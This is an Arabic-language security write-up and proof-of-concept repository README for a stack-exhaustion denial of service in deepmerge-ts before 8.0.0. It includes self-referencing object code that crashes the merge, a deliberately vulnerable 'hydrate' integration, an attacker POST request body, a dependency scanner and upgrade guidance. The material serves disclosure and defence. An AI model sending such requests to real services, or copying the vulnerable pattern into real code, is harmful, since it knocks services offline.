
يعيد إنتاج هجوم حجب الخدمة الناتج عن استنفاد المكدس في deepmerge-ts قبل الإصدار 8.0.0، ويوثق عملية الاستغلال، ويتضمن ماسحًا لنطاقات التبعيات المعرضة للخطر.
استنسخت خطأ استنزاف المكدس في إصدارات deepmerge-ts قبل 8.0.0.
الجزء المثير للاهتمام هو أن الانهيار لا يتطلب كائنًا متداخلًا ضخمًا. بل ينبع من هوية الكائن. إذا كان كلا القيمتين المدمجتين يشيران إلى نفسيهما عبر نفس الخاصية، فإن روتين الدمج يستمر في زيارة نفس الزوج حتى يستنفد Node.js مساحة المكدس.
التوصية الأمنية: GHSA-ggr8-5vv4-36mx CVE: CVE-2026-40345 CWE: CWE-674 الخطورة: عالية التأثير: توفر الخدمة
معظم اختبارات الدمج تستخدم بيانات عادية على شكل JSON:
{
user: {
name: "alice"
}
}
تلك البيانات لا دورية. يمكن لكائنات JavaScript أيضًا أن تحتوي على مراجع لنفسها أو لكائن آخر في نفس الرسم البياني. يسهل تفويت تلك الحالات إذا كانت مجموعة الاختبارات تستخدم بيانات JSON فقط.
أصغر رسم بياني يسبب الفشل هو كائنان منفصلان لهما نفس المرجع الذاتي:
const left = {};
left.self = left;
const right = {};
right.self = right;
دمج السجلات يجتاز المفاتيح القابلة للتعداد، ويجمع القيم لكل مفتاح، ثم يستدعي روتين الدمج مرة أخرى لتلك القيم. لا يوجد فحص للدورات ولا تتبّع لأزواج الكائنات التي سبقت رؤيتها في الإصدارات المتأثرة.
المفتاح self يعيد التنفيذ إلى نفس الحالة:
deepmerge(left, right)
-> merge(left.self, right.self)
-> merge(left.self, right.self)
-> merge(left.self, right.self)
-> RangeError: Maximum call stack size exceeded
يمكن الوصول إلى نفس السلوك عبر deepmergeInto وdeepmergeCustom وdeepmergeIntoCustom عندما تستقبل نفس النوع من الرسوم البيانية.
الحزمة مثبتة على الإصدار المتأثر 7.1.6 في package.json.
npm install
npm run poc
الاختبار الكامل موجود في poc.mjs. يشغّل كلتا الواجهتين العامتين محليًا ويلتقط خطأ RangeError المتوقع ليصبح الناتج سهل القراءة.
الجزء المهم من إثبات المفهوم هو:
import { deepmerge } from "deepmerge-ts";
function recursiveRecord() {
const record = {};
record.self = record;
return record;
}
deepmerge(recursiveRecord(), recursiveRecord());
الناتج المتوقع:
deepmerge: RangeError: Maximum call stack size exceeded
deepmergeInto: RangeError: Maximum call stack size exceeded
يعيد إثبات المفهوم إشارة نجاح عند ملاحظة السلوك المتأثر. إذا تمت ترقية الحزمة واكتمل الاستدعاءان، فإنه يطبع نتيجة نظيفة ويخرج بالحالة 1 لأن المشكلة لم تُستنسخ.
لا توجد حمولة JSON دائرية سحرية. محلل JSON العادي ينشئ رسمًا بيانيًا لا دوريًا، لذا لا يتم تفعيل هذا بمجرد إرسال جسم JSON عميق جدًا إلى:
deepmerge(defaults, req.body);
يحتاج التطبيق إلى إنشاء الدورة أو الحفاظ عليها قبل استدعاء دالة الدمج. يمكن أن يحدث ذلك في كود ترطيب الرسم البياني، أو في أداة إزالة تسلسل تحافظ على المراجع، أو في إعادة استخدام كائنات ذاكرة التخزين المؤقت أو الجلسة، أو في منطق مخصص يربط السجلات ببعضها.
هنا مثال صغير لتكامل قابل للاستغلال. دالة hydrate تحوّل علامة يتحكم بها المستخدم إلى مرجع ذاتي:
import { deepmerge } from "deepmerge-ts";
function hydrate(input) {
const object = { value: input.value };
if (input.self === true) object.self = object;
return object;
}
function mergeRequest(body) {
const left = hydrate(body.left);
const right = hydrate(body.right);
return deepmerge(left, right);
}
إذا كان مسار HTTP يستدعي mergeRequest، يمكن للمهاجم إرسال:
POST /merge
Content-Type: application/json
{"left":{"value":"a","self":true},"right":{"value":"b","self":true}}
كلا الجانبين الآن يحتويان على مرجع self. عندما يستدعي المسار deepmerge(left, right)، تتبع المكتبة left.self وright.self، وتستقبل نفس الزوج مرة أخرى، وتستدعي نفسها تكراريًا حتى ترمي V8 خطأً.
لا يجب أن يستخدم التطبيق دالة hydrate هذه بالضبط. الشروط المهمة هي:
إذا كان المسار عامًا وكان الاستثناء غير ملتقط، يمكن لطلب واحد إيقاف عامل Node.js. إذا أعاد مشرف العمليات تشغيله تلقائيًا، يمكن للطلبات المتكررة إبقاء الخدمة في حلقة إعادة تشغيل. إذا كانت المصادقة مطلوبة، فلا يزال المهاجم بحاجة إلى الوصول إلى ذلك المسار.
هذه مشكلة رفض خدمة. لا يوفر الخطأ تنفيذ كود، أو وصولًا إلى الملفات، أو وسيلة لقراءة مدخلات الدمج من طلب آخر.
هذا التمييز مهم عند تقييم تطبيق حقيقي. جسم الطلب التالي ليس بحد ذاته دورة:
{
"self": true
}
يصبح ذا صلة فقط إذا فسر كود التطبيق self: true كمرجع إلى الكائن الجذري، أو إذا استعاد محلل آخر مراجع الكائنات. يجب أن تتعامل الحزمة مع الرسم البياني الناتج بأمان على أي حال، لكن قابلية الاستغلال عن بُعد تعتمد على الكود المحيط بالحزمة.
التأثير المباشر هو توفر الخدمة عبر استنزاف متزامن للمكدس.
اعتمادًا على التطبيق المحيط، يمكن أن تكون النتيجة:
RangeErrorلا يوجد تأثير على السرية أو النزاهة في هذه المشكلة بحد ذاتها. تزداد الخطورة عندما يكون مسار الدمج غير مصادق عليه، أو يمكن الوصول إليه من الإنترنت العام، أو يُعاد استدعاؤه تلقائيًا من خدمة أخرى.
أضفت scanner.mjs للعثور على مراجع التبعيات المتأثرة قبل تشغيل إثبات المفهوم الخاص بالانهيار. وهو يفحص:
package.jsonpackage-lock.jsonnpm-shrinkwrap.jsonpnpm-lock.yamlشغّله على دليل مشروع:
node scanner.mjs /path/to/project
بالنسبة للتكامل المستمر (CI) أو الأدوات الأخرى، استخدم ناتج JSON:
node scanner.mjs /path/to/project --json
مثال على النتيجة لهذا المستودع:
deepmerge-ts findings: 2
VULNERABLE package-lock.json node_modules/deepmerge-ts resolved=7.1.6
VULNERABLE package.json dependencies requested=7.1.6
يخرج الماسح بالحالة 1 عندما يجد إصدارًا أو نطاقًا متأثرًا. يتم تمييز روابط Git والمصادر الأخرى غير المتوافقة مع semver بعلامة REVIEW بدلًا من معاملتها بصمت على أنها آمنة.
الإصلاح المباشر هو الترقية إلى deepmerge-ts >= 8.0.0 وتحديث ملف القفل.
npm install deepmerge-ts@^8.0.0
يجب على التطبيق أيضًا أن يقرر كيفية التعامل مع المدخلات التكرارية. الخيارات المعقولة هي:
التقاط الخطأ مفيد لاستقرار العملية، لكنه لا يزيل رفض الخدمة الأساسي إذا كان بإمكان المهاجم تكرار الطلب. ترقية التبعية ومعالجة المدخلات التكرارية هما الإصلاحان المهمان.
غيّر التبعية إلى 8.0.1، وأعد التثبيت، وشغّل نفس إثبات المفهوم:
npm install [email protected]
npm run poc
على الإصدار المصلَح يكتمل الاستدعاءان ويطبع السكربت:
deepmerge: completed
deepmergeInto: completed
No stack exhaustion observed. Try an affected version below 8.0.0.
إثبات المفهوم والماسح في هذا المستودع مُصدَران بموجب رخصة MIT.